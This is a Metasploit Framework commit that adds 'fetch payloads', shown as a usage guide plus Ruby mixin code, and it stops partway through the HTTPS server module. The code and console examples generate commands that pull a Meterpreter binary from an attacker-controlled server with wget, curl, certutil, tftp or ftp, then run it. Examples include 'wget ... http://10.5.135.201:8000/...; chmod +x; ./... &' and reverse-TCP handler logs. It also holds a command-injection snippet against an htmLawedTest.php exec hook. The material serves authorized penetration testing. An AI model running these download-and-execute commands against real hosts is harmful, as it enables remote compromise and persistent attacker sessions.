Add fetch payloads for Windows and Linux x64

This commit is contained in:
bwatters 2023-03-15 19:19:19 -05:00
parent b052386700
commit 548a2d7ab4
22 changed files with 1211 additions and 14 deletions

View File

@ -0,0 +1,333 @@
# Fetch Payloads
## What Are Fetch Payloads?
Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary
payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of
existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and
transports, but we've added an optional fetch payload adapter on top to stage the payloads using a networking binary and
server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side
to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a
command injection or code execution vulnerability *and* a known binary with the ability to download and store
a file.
## Terminology
In the following documentation, it is useful to agree on certain terms to use so we don't get confused or confusing.
`Fetch Payload` - The command to execute on the remote host to retrieve and execute the `Served Payload`
`Fetch Binary` - The binary we are using on the remote host to download the Served Payload. Examples might be WGET,
cURL, or Certutil.
`Fetch Protocol` - The protocol used to download the served payload, for example HTTP, HTTPS or TFTP.
`Fetch Listener` - The server hosting the served payload.
`Fetch Handler` - The same as `Fetch Listener`
`Served Payload` - The underlying payload we want to execute. We also might call this the `Adapted Payload`.
`Served Payload Handler` - The handler for the served payload. This is just a standard payload like
`meterpreter/reverse_tcp` or `shell_reverse_tcp`.
## Organization
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
remote host to download the served payload prior to execution.
Here is the naming convention for fetch payloads:
`<cmd>/<platform>/<fetch protocol>/served_payload`
For example:
`cmd/linux/https/x64/meterpreter/reverse_tcp` Will do four things:
1) Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload.
2) Serve the above served payload on an HTTPS server
3) Start a served payload handler for the served payload to call back to
4) Generate a command to execute on a remote host that will download the served payload and run it.
## A Simple Stand-Alone Example
The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let's assume a Linux
target with the ability to connect back to us with an HTTP connection and a command execution vulnerability.
First, let's look at the payload in isolation:
```msf
msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_FILENAME YXeSdwsoEfOH no Name to use on remote system when storing payload
FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
View the full module info with the info, or info -d command.
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
### Options
`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the
supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get
into more details on the binaries later.
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
`FETCH_SRVHOST` is the IP where the server will listen.
`FETCH_SRVPORT` is the port where the server will listen.
`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the
underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
served payload is the same.
`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
The remaining options will be the options available to you in the served payload; in this case our served payload is
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
payload, we would see different options.
### Generating the Fetch Payload
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
FETCH_COMMAND => WGET
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
FETCH_SRVHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
FETCH_SRVPORT => 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
LHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
LPORT => 4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
You can see the fetch payload generated:
`wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &`
This command downloads the served payload, marks it as executable, and then executes it on the remote host.
### Starting the Fetch Server
When you start the `Fetch Handler`, it starts both the server hosting the binary payload *and* the listener for the
served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are
started:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
[*] Payload Handler Started as Job 0
[*] Fetch Handler listening on 10.5.135.201:8000
[*] http server started
[*] Started reverse TCP handler on 10.5.135.201:4567
```
### Fetch Handlers and Served Payload Handlers
The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
`Jobs`, even though the Fetch Handler is listening:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
```
Killing the Served Payload handler will kill the Fetch Handler as well:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
## Using Fetch Payloads on the Fly
One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly,
without relying on a session in framework or having to get a payload on target. If you have a shell session or even a
really odd situation where you can execute commands, you can get a session in framework quickly without having to upload
a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are
Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
## Using it in an exploit
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch
payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or
`linux`. Once the target has been added, you can get access to the command by invoking `payload.encoded` and use it as
the command to execute on the remote target.
### Example paired with CmdStager
There is likely to be some overlap between fetch payloads and command stagers. Let's talk briefly about how to support
both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command
stagers. in this case, I'm only documenting the changes to make so that fetch payloads will work alongside command
stagers or to use fetch payloads in the style of command stagers, which I suggest you do.
In this case, I've modified the code provided in the command stager documentation to support both linux and unix command
payloads. All I did was give an array value for the `Platform` value and change the`Type` to something more generic:
``` ruby
'Targets' =>
[
[ 'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'unix', 'linux' ],
'Type' => :nix_cmd
}
]
]
```
For the `execute_command` method, nothing changes:
``` ruby
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end
```
The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else
needs to change.
``` ruby
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :nix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
```
If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads
like Fetch Payloads, you can simply add the `linux` value to the platform array:
``` ruby
'Nix Command',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
}
```
## Supported Commands
### Windows And Linux Both
#### `CURL`
cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very
standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows
targets. All options and server protocol types are supported by the cURL command.
#### `TFTP`
The TFTP binary is useful only in edge cases because of a long list of limitations:
1) It is a Windows feature, but it is turned off by default on Windows Vista and later.
2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases.
3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured,
nor does it allow for the destination filename to be configured, so `FETCH_SRVPORT` must always be set to 69 and
`FETCH_WRITABLE_DIR` and `FETCH_FILENAME` must be empty. Listening on port 69 in Framework can be problematic, so I
suggest that you use the advanced option `FetchListenerBindPort` to start the server on a different port and redirect
the connection with a tool like iptables to a high port.
For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection
on UDP port 69 to UDP port 3069:
`sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069`
`sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069`
Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly.
4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
start a tftp fetch handler, a new service will start:
```msf
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
LPORT => 4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
[*] Payload Handler Started as Job 4
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
FETCH_URIPATH => test4
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
LPORT => 8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
[*] Payload Handler Started as Job 5
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
```
There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port,
and `FETCH_URI` value but serving different payloads. This will result in a race condition where the payload served is
non-deterministic.
### Windows Only
#### `Certutil`
Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is
highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using
Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports `HTTP` and `HTTPS`
protocols.
### Linux Only
#### `FTP`
FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases
of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it
may not be appropriate for older systems.
#### `TNFTP`
TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are
present on a system, so the command will be `tnftp` rather than `ftp`.
#### WGET
WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options.
It is ubiquitous on Linux hosts and very standard, making it an excellent choice.

View File

@ -526,6 +526,10 @@ NAVIGATION_CONFIG = [
{
path: 'How-to-use-command-stagers.md'
},
{
path: 'How-to-use-fetch-payloads.md',
title: 'How to use Fetch Payloads'
},
{
old_wiki_path: 'How-to-write-a-check()-method.md',
path: 'How-to-write-a-check-method.md'

View File

@ -223,7 +223,6 @@ module Exploit::Remote::SMB::Client::Psexec
text = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.txt"
bat = "\\Windows\\Temp\\#{Rex::Text.rand_text_alpha(8..16)}.bat"
command = payload.encoded
output = execute_command_with_output(text, bat, command, smbshare, datastore['RHOST'], delay: datastore['CMD::DELAY'])
unless output.nil?
@ -242,8 +241,9 @@ module Exploit::Remote::SMB::Client::Psexec
def execute_command(text, bat, cmd)
# Try and execute the provided command
cmd = cmd.gsub('&', '^&')
execute = "%COMSPEC% /C echo #{cmd} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
vprint_status("Executing the command...")
vprint_status("Executing the command: #{execute}")
begin
return psexec(execute)
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e

View File

@ -0,0 +1,342 @@
module Msf::Payload::Adapter::Fetch
def initialize(*args)
super
register_options(
[
Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces.', Rex::Text.rand_text_alpha(rand(8..12))], regex:/^[\S]*$/),
Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
Msf::OptAddressLocal.new('FETCH_SRVHOST', [ true, 'Local IP to use for serving payload', "0.0.0.0"]),
Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces.', ''], regex:/^[\S]*$/)
]
)
register_advanced_options(
[
Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false]),
Msf::OptString.new('FetchServerName', [true, 'Fetch Server Name', 'Apache'])
]
)
@delete_resource = true
@fetch_service = nil
@myresources = []
@srvexe = ''
@remote_destination_win = nil
@remote_destination_nix = nil
@windows = nil
end
def check_srvhost
if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0
raise ArgumentError, 'You must set FETCH_SRVHOST to a routable IP'
end
end
def compatible?(mod)
if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space
return false
end
super
end
# If no fetch URL is provided, we generate one based off the underlying payload data
# This is because if we use a randomly-generated URI, the URI generated by venom and
# Framework will not match. This way, we can build a payload in venom and a listener
# in Framework, and if the underlying payload type/host/port are the same, the URI
# will be, too.
#
def default_srvuri
# If we're in framework, payload is in datastore; msfvenom has it in refname
payload_name = datastore['payload'] ||= refname
decoded_uri = payload_name.dup
# there may be no transport, so leave the connection string off if that's the case
netloc = ''
if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL'
netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
unless datastore['LPORT'].blank?
if Rex::Socket.is_ipv6?(netloc)
netloc = "[#{netloc}]:#{datastore['LPORT']}"
else
netloc = "#{netloc}:#{datastore['LPORT']}"
end
end
elsif module_info['ConnectionType'].upcase == 'BIND'
netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
unless datastore['RPORT'].blank?
if Rex::Socket.is_ipv6?(netloc)
netloc = "[#{netloc}]:#{datastore['RPORT']}"
else
netloc = "#{netloc}:#{datastore['RPORT']}"
end
end
end
decoded_uri << ";#{netloc}"
Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
end
def download_uri
"#{srvnetloc}/#{srvuri}"
end
def fetch_bindhost
datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
end
def fetch_bindport
datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
end
def generate(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
opts[:code] = super
check_srvhost
@srvexe = generate_payload_exe(opts)
cmd = generate_fetch_commands
vprint_status("Command to run on remote host: #{cmd}")
cmd
end
def generate_fetch_commands
# TODO: Make a check method that determines if we support a platform/server/command combination
#
case datastore['FETCH_COMMAND'].upcase
when 'FTP'
return _generate_ftp_command
when 'TNFTP'
return _generate_tnftp_command
when 'WGET'
return _generate_wget_command
when 'CURL'
return _generate_curl_command
when 'TFTP'
return _generate_tftp_command
when 'CERTUTIL'
return _generate_certutil_command
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
end
def generate_stage(opts = {})
opts[:arch] ||= module_info['AdaptedArch']
super
end
def generate_payload_uuid(conf = {})
conf[:arch] ||= module_info['AdaptedArch']
conf[:platform] ||= module_info['AdaptedPlatform']
super
end
def handle_connection(conn, opts = {})
opts[:arch] ||= module_info['AdaptedArch']
super
end
def srvhost
datastore['FETCH_SRVHOST']
end
def srvnetloc
netloc = srvhost
if Rex::Socket.is_ipv6?(netloc)
netloc = "[#{netloc}]:#{srvport}"
else
netloc = "#{netloc}:#{srvport}"
end
netloc
end
def srvport
datastore['FETCH_SRVPORT']
end
def srvuri
return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?
default_srvuri
end
def srvname
datastore['FetchServerName']
end
def windows?
return @windows unless @windows.nil?
@windows = platform.platforms.first == Msf::Module::Platform::Windows
@windows
end
def _check_tftp_port
# Most tftp clients do not have configurable ports
if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client')
end
end
def _check_tftp_file
# Older Linux tftp clients do not support saving the file under a different name
unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank?
print_error('The Linux TFTP client does not support saving a file under a different name than the URI.')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client')
end
end
# copied from https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/socket_server.rb
def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
comm = nil
case srv_comm
when 'local'
comm = ::Rex::Socket::Comm::Local
when /\A-?[0-9]+\Z/
comm = framework.sessions.get(srv_comm.to_i)
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
raise(RuntimeError, "Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
when nil, ''
unless ip.nil?
comm = Rex::Socket::SwitchBoard.best_comm(ip)
end
else
raise(RuntimeError, "SocketServer Comm '#{srv_comm}' is invalid")
end
comm || ::Rex::Socket::Comm::Local
end
def _execute_add
return _execute_win if windows?
return _execute_nix
end
def _execute_win
cmds = " & start /B #{_remote_destination_win}"
cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
cmds
end
def _execute_nix
cmds = "; chmod +x #{_remote_destination_nix}"
cmds << "; #{_remote_destination_nix} &"
cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
cmds
end
def _generate_certutil_command
case fetch_protocol
when 'HTTP'
cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
when 'HTTPS'
# I don't think there is a way to disable cert check in certutil....
print_error('CERTUTIL binary does not support insecure mode')
fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
cmd = "certutil -urlcache -f https://#{download_uri} #{_remote_destination}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
end
def _generate_curl_command
case fetch_protocol
when 'HTTP'
cmd = "curl -so #{_remote_destination} http://#{download_uri}"
when 'HTTPS'
cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
when 'TFTP'
cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
end
def _generate_ftp_command
case fetch_protocol
when 'FTP'
cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
when 'HTTP'
cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
when 'HTTPS'
cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
end
def _generate_tftp_command
_check_tftp_port
case fetch_protocol
when 'TFTP'
if windows?
cmd = "tftp -i #{srvhost} GET #{srvuri} #{_remote_destination} #{_execute_win}"
else
_check_tftp_file
cmd = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
end
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd
end
def _generate_tnftp_command
case fetch_protocol
when 'FTP'
cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}#{_execute_nix}"
when 'HTTP'
cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}#{_execute_nix}"
when 'HTTPS'
cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}#{_execute_nix}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
end
def _generate_wget_command
case fetch_protocol
when 'HTTPS'
cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
when 'HTTP'
cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
else
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
end
cmd + _execute_add
end
def _remote_destination
return _remote_destination_win if windows?
return _remote_destination_nix
end
def _remote_destination_nix
return @remote_destination_nix unless @remote_destination_nix.nil?
writable_dir = datastore['FETCH_WRITABLE_DIR']
writable_dir = '.' if writable_dir.blank?
writable_dir += '/' unless writable_dir[-1] == '/'
payload_filename = datastore['FETCH_FILENAME']
payload_filename = srvuri if payload_filename.blank?
payload_path = writable_dir + payload_filename
@remote_destination_nix = payload_path
@remote_destination_nix
end
def _remote_destination_win
return @remote_destination_win unless @remote_destination_win.nil?
writable_dir = datastore['FETCH_WRITABLE_DIR']
writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
payload_filename = datastore['FETCH_FILENAME']
payload_filename = srvuri if payload_filename.blank?
payload_path = writable_dir + payload_filename
payload_path = payload_path + '.exe' unless payload_path[-4..-1] == '.exe'
@remote_destination_win = payload_path
@remote_destination_win
end
end

View File

@ -0,0 +1,23 @@
module Msf::Payload::Adapter::Fetch::HTTP
include Msf::Exploit::EXE
include Msf::Payload::Adapter
include Msf::Payload::Adapter::Fetch
include Msf::Payload::Adapter::Fetch::Server::HTTP
def initialize(*args)
super
end
def cleanup_handler
cleanup_http_fetch_service(@fetch_service, @delete_resource)
super
end
def setup_handler
@fetch_service = start_http_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable']
super
end
end

View File

@ -0,0 +1,22 @@
module Msf::Payload::Adapter::Fetch::Https
include Msf::Exploit::EXE
include Msf::Payload::Adapter
include Msf::Payload::Adapter::Fetch
include Msf::Payload::Adapter::Fetch::Server::Https
def initialize(*args)
super
end
def cleanup_handler
cleanup_http_fetch_service(@fetch_service, @delete_resource)
super
end
def setup_handler
@fetch_service = start_https_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable']
super
end
end

View File

@ -0,0 +1,13 @@
module Msf::Payload::Adapter::Fetch::LinuxOptions
def initialize(info = {})
super(update_info(info,
'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' }
))
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w{ CURL FTP TFTP TNFTP WGET }])
]
)
end
end

View File

@ -0,0 +1,24 @@
module Msf::Payload::Adapter::Fetch::Server::HTTP
include Msf::Payload::Adapter::Fetch::Server::Https
# This mixin supports only HTTP fetch handlers but still imports the HTTPS mixin.
# We just remove the HTTPS Options so the user does not see them.
#
def initialize(*args)
super
deregister_options('FETCH_SSL',
'FETCH_CHECK_CERT',
'FetchSSLCert',
'FetchSSLCompression',
'FetchSSLCipher',
'FetchSSLCipher',
'FetchSSLVersion'
)
end
def fetch_protocol
'HTTP'
end
end

View File

@ -0,0 +1,153 @@
module Msf::Payload::Adapter::Fetch::Server::Https
# This mixin supports both HTTP and HTTPS fetch handlers. If you only want
# HTTP, use the HTTP mixin that imports this, but removes the HTTPS options
def initialize(*args)
super
register_options(
[
Msf::OptBool.new('FETCH_CHECK_CERT', [true,"Check SSL certificate", false])
]
)
register_advanced_options(
[
Msf::OptString.new('FetchHttpServerName', [true, 'Http Server Name', 'Apache']),
Msf::OptPath.new('FetchSSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)', '']),
Msf::OptBool.new('FetchSSLCompression', [ false, 'Enable SSL/TLS-level compression', false ]),
Msf::OptString.new('FetchSSLCipher', [ false, 'String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"']),
Msf::OptEnum.new('FetchSSLVersion',
'Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate)',
enums: Rex::Socket::SslTcp.supported_ssl_methods)
]
)
end
def add_resource(fetch_service, uri, srvexe)
vprint_status("Adding resource #{uri}")
if fetch_service.resources.include?(uri)
# When we clean up, we need to leave resources alone, because we never added one.
@delete_resource = false
fail_with(Msf::Exploit::Failure::BadConfig, "Resource collision detected. Set FETCH_URI to a different value to continue.")
end
fetch_service.add_resource(uri,
'Proc' => proc do |cli, req|
on_request_uri(cli, req, srvexe)
end,
'VirtualDirectory' => true)
rescue ::Exception => e
# When we clean up, we need to leave resources alone, because we never added one.
@delete_resource = false
fail_with(Msf::Exploit::Failure::Unknown, "Failed to add resource\n #{e}")
end
def cleanup_http_fetch_service(fetch_service, delete_resource)
unless fetch_service.nil?
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
if fetch_service.resources.include?(escaped_srvuri) && delete_resource
fetch_service.remove_resource(escaped_srvuri)
end
fetch_service.deref
if fetch_service.resources.empty?
# if we don't call deref, we cannot start another httpserver
# this is a reimplementation of the cleanup_service method
# in Exploit::Remote::SocketServer
temp_service = fetch_service
fetch_service = nil
temp_service.cleanup
temp_service.deref
end
end
end
def fetch_protocol
'HTTPS'
end
def on_request_uri(cli, request, srvexe)
client = cli.peerhost
vprint_status("Client #{client} requested #{request.uri}")
if (user_agent = request.headers['User-Agent'])
client += " (#{user_agent})"
end
vprint_status("Sending payload to #{client}")
cli.send_response(payload_response(srvexe))
end
def payload_response(srvexe)
res = Rex::Proto::Http::Response.new(200, 'OK', Rex::Proto::Http::DefaultProtocol)
res['Content-Type'] = 'text/html'
res.body = srvexe.to_s.unpack('C*').pack('C*')
res
end
def ssl_cert
datastore['FetchSSLCert']
end
def ssl_compression
datastore['FetchSSLCompression']
end
def ssl_cipher
datastore['FetchSSLCipher']
end
def ssl_version
datastore['FetchSSLVersion']
end
def start_http_fetch_handler(srvname, srvexe)
# this looks a bit funny because I converted it to use an instance variable so that if we crash in the
# middle and don't return a value, we still have the right fetch_service to clean up.
escaped_srvuri = ('/' + srvuri).gsub('//', '/')
@fetch_service = start_https_server(false, nil, nil, nil, nil) if @fetch_service.nil?
if @fetch_service.nil?
cleanup_handler
fail_with(Msf::Exploit::Failure::BadConfig, "Fetch Handler failed to start on #{fetch_bindhost}:#{fetch_bindport}")
end
vprint_status('HTTP server started')
